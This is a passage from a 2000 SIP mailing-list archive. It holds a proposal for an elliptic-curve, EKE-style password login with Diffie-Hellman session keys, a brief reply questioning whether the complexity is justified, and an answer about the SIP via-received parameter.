upper case letters stand >for elliptic points. h(x) means "one way hash of x " > >The object of the logon protocol is to ensure that the client program is >communicating with a server that knows h(p)*G , and the server knows it is >communicating with a client who knows h(p) In this the protocol differs >from SPEKE, where both the client and the security server both know >p. The implementors have to keep in mind the usual EKE concerns described >in http://world.std.com/~dpj/speke97.html. > >When the user logs on he sends the server his logon name in the clear, The >server generates a true random number b , and sends the user b*G . > >The client similarly generates a true random number c and sends the server c*G. > >An attacker can discover c*G, b*G, and G, but cannot calculate c or b from >this information. > >The client then generates the secret elliptic point (b*G)*[c+h(p)] > >The server similarly generates the secret elliptic point b*[(c*G)+(h(p)*G)] >, which will be equal to the point generated by the client. This elliptic >point is then used as the symmetric secret key for secure communications >between client and the security server until the user logs off. > >In order to succeed with the protocol, in order for the client to construct >a secret elliptic point equal to that of the server, it must know h(p) >corresponding to the server's h(p)*G >Of course, ultimately our objective is not secure communications with the >security server, but secure communications between any two users, and >secure communications between a user and all the various entities that are >involved in setting up his communication. > >The simplest way of solving this is the classic DH method, now patent free, >where each entity generates one true random transient public/private key >pair, which lasts the duration of a login session. Each security server >authenticates the public keys of its users and entities, and only the user >or entity knows the private key. > >This could potentially lead to a very large number of public key >operations, which are quite slow Because the keys change infrequently, >this problem can be solved by each entity caching the results of previous >public key operations. The cache is discarded when the entity logs out.. > >When Bob sends an authenticated and secure message to Ann, saying "Hi Ann, >how are things?" it would use intolerable bandwidth if that message, and >each of the various acks and nacks by various entities required to locate >Ann and set up and send the message, required a verisign style public key >signature, or pgp style public key signatue. > >Instead, for any two entities, there will be a unique DH shared secret, >constructed from each one's DH key. Each obtains the other's public DH key >from the others security server. That unique shared secret will not change >as long as both entities remain logged on to their security server. Since >each ack and nack will be sent encrypted using that unique and unchanging >shared secret, no public key operations will be needed to prove who is >sending the ack, since only the apparent author or the apparent recipient >could decrypt it or encrypt it. We have only one public key operation per >logon time per pair of entities that need to communicate securely, which >will have an insignificant bandwidth and computational cost, not several >public key operations per ack and nack, as would be required if we employed >a signature system similar to that employed by verisign or PGP. > > > --digsig > James A. Donald > 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG > i4N8MYu3lFyxRz7rj6IX3CMlEt8P5QsQNrYF+dGO > 478RouxqobjnPMPR6Cg+Lf/c/t2dukyvpj+QkrgkK > > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 20:37:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA14676 for ; Thu, 31 Aug 2000 20:37:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7D6344437C; Thu, 31 Aug 2000 19:37:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id 5C93444364 for ; Thu, 31 Aug 2000 19:37:24 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id <0G0600K01N2AQV@firewall.mcit.com> for sip@lists.bell-labs.com; Fri, 1 Sep 2000 00:37:22 +0000 (GMT) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G0600G62N2AJE@firewall.mcit.com>; Fri, 01 Sep 2000 00:37:22 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) id <0G0600D01N29J1@dgismtp02.wcomnet.com>; Fri, 01 Sep 2000 00:37:21 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G0600D01N26IE@dgismtp02.wcomnet.com>; Fri, 01 Sep 2000 00:37:21 +0000 (GMT) Received: from C25776A ([166.44.186.200]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0G06002C2MSF30@dgismtp02.wcomnet.com>; Fri, 01 Sep 2000 00:37:17 +0000 (GMT) Date: Thu, 31 Aug 2000 19:37:11 -0500 From: Henry Sinnreich Subject: RE: [SIP] Re: SIP gateways and authentication In-reply-to: <4.3.1.2.20000830092306.00bbeeb0@shell11.ba.best.com> To: "James A. Donald" , Michael Thomas , Henning Schulzrinne Cc: Michael Thomas , Jonathan Rosenberg , David Harris , "Sip-Implementors (E-mail)" , sip Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Am not sure such complexity is jutified for phone calls having the cost close to e-mail. Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of >James A. Donald >Sent: Wednesday, August 30, 2000 10:53 PM >To: Michael Thomas; Henning Schulzrinne >Cc: Michael Thomas; Jonathan Rosenberg; David Harris; >Sip-Implementors >(E-mail); sip >Subject: Re: [SIP] Re: SIP gateways and authentication > > > -- >At 09:02 AM 8/30/2000 -0700, Michael Thomas wrote: > > A cross realm Kerberos based solution would be more >than adequate to > > give you a high level of confidence that a piece of >information came > > from the realm it claims to have come from. > >While you are correct that we should use Kerberos like >security >servers, Kerberos itself is broken. It has been >broken for some time. > >The problem is described in >http://theory.stanford.edu/~tjw/krbpass.html, >and with the passage of time the problem becomes ever >worse, due to the >increased power of offline dictionary attack hardware >and software. > >A modern security system, (which kerberos is not) must >only permit online >attacks on the password. Kerberos permits offline >attacks. In a modern >system the attacker must only be able to test his >guesses by using the >guessed password to attempt to establish a secure >connection to the >security server. After some large number of >consecutive failures, the >security server will temporarily disable the account, >and send to the user >an insecure notification containing a log of all >information about the >failed attempts. After each successful logon, the >system sends the user >information about all previous failed attempts through >the secure connection. > >The proposal to use PGP keys or verisign keys uses >modern security >techniques to solve the wrong problem. > >The proposal to use kerberos techniques addresses the >right problem in the >right way, but the particular details of the solution >are obsolete. > >I propose the following EKE like solution, similar to >that described in my >web page http://catalog.com/jamesd/kong/secure_video.htm > >The user establishes a secure connection with the >secure personal presence >server. > >The personal presence client logs in to the personal >presence server using >the name and password. The password is never revealed >to the server. An >outside attacker would have to try his guessed >password by attempting to >log on. If he tried lots of logons, this would become >noticeable. > >The server knows, not the password p , but h(p)*G >where G is an elliptic >point that the server makes known to anyone. > >When the user created his account, his client software >informed the server >of h(p)*G through https. The software ensures that it >gave this account >creation information only to the real server, thanks >to the usual https >mechanism, which guarantees the server's true name. >The server does not >need to verify the users true name. > >Lower case letters stand for very large integers, >upper case letters stand >for elliptic points. h(x) means "one way hash of x " > >The object of the logon protocol is to ensure that the >client program is >communicating with a server that knows h(p)*G , and >the server knows it is >communicating with a client who knows h(p) In this >the protocol differs >from SPEKE, where both the client and the security >server both know >p. The implementors have to keep in mind the usual >EKE concerns described >in http://world.std.com/~dpj/speke97.html. > >When the user logs on he sends the server his logon >name in the clear, The >server generates a true random number b , and sends >the user b*G . > >The client similarly generates a true random number c >and sends the server c*G. > >An attacker can discover c*G, b*G, and G, but cannot >calculate c or b from >this information. > >The client then generates the secret elliptic point >(b*G)*[c+h(p)] > >The server similarly generates the secret elliptic >point b*[(c*G)+(h(p)*G)] >, which will be equal to the point generated by the >client. This elliptic >point is then used as the symmetric secret key for >secure communications >between client and the security server until the user logs off. > >In order to succeed with the protocol, in order for >the client to construct >a secret elliptic point equal to that of the server, >it must know h(p) >corresponding to the server's h(p)*G >Of course, ultimately our objective is not secure >communications with the >security server, but secure communications between any > two users, and >secure communications between a user and all the >various entities that are >involved in setting up his communication. > >The simplest way of solving this is the classic DH >method, now patent free, >where each entity generates one true random transient >public/private key >pair, which lasts the duration of a login session. >Each security server >authenticates the public keys of its users and >entities, and only the user >or entity knows the private key. > >This could potentially lead to a very large number of >public key >operations, which are quite slow Because the keys >change infrequently, >this problem can be solved by each entity caching the >results of previous >public key operations. The cache is discarded when >the entity logs out.. > >When Bob sends an authenticated and secure message to >Ann, saying "Hi Ann, >how are things?" it would use intolerable bandwidth if >that message, and >each of the various acks and nacks by various entities >required to locate >Ann and set up and send the message, required a >verisign style public key >signature, or pgp style public key signatue. > >Instead, for any two entities, there will be a unique >DH shared secret, >constructed from each one's DH key. Each obtains the >other's public DH key >from the others security server. That unique shared >secret will not change >as long as both entities remain logged on to their >security server. Since >each ack and nack will be sent encrypted using that >unique and unchanging >shared secret, no public key operations will be >needed to prove who is >sending the ack, since only the apparent author or the >apparent recipient >could decrypt it or encrypt it. We have only one >public key operation per >logon time per pair of entities that need to >communicate securely, which >will have an insignificant bandwidth and computational >cost, not several >public key operations per ack and nack, as would be >required if we employed >a signature system similar to that employed by verisign or PGP. > > > --digsig > James A. Donald > 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG > i4N8MYu3lFyxRz7rj6IX3CMlEt8P5QsQNrYF+dGO > 478RouxqobjnPMPR6Cg+Lf/c/t2dukyvpj+QkrgkK > > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 31 22:05:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17238 for ; Thu, 31 Aug 2000 22:05:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9ADD544367; Thu, 31 Aug 2000 21:05:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157]) by lists.bell-labs.com (Postfix) with ESMTP id 5242844364 for ; Thu, 31 Aug 2000 21:05:24 -0400 (EDT) Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48]) by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id WAA28908; Thu, 31 Aug 2000 22:03:20 -0400 (EDT) Message-ID: <39AF0E73.C13CB27D@cs.columbia.edu> Date: Thu, 31 Aug 2000 22:03:31 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: sreenivasa reddy D Cc: sip@lists.bell-labs.com Subject: Re: [SIP] via-Received params field References: <39AE6E8F.E726CBE5@miel.mot.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The port the packet was received on is immaterial, so including it makes no sense. (The response is always sent back to the port indicated explicitly in the 'main' Via part, not the source port of the request.) Whether the 'received' part then has much use in practice beyond a "warning, NAT encountered, return trip may not work" is not clear to me. sreenivasa reddy D wrote: > > Hi > In draft 00(fig :10 ) via-received was ( via-received = "received" "=" host[:port] ) But in draft > 01 it has been changed to via-received = "received" "=" host . > Does this mean port will not be changed. > > Sreenivasa Reddy .D > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip

-----Original Message-----
From: rahul pande [mailto:panderahul@hotmail.com= ]
Sent: Thursday, August 17, 2000 11:22 PM
To: sip@lists.bell-labs.com
Subject: [SIP] A query on SIP call flow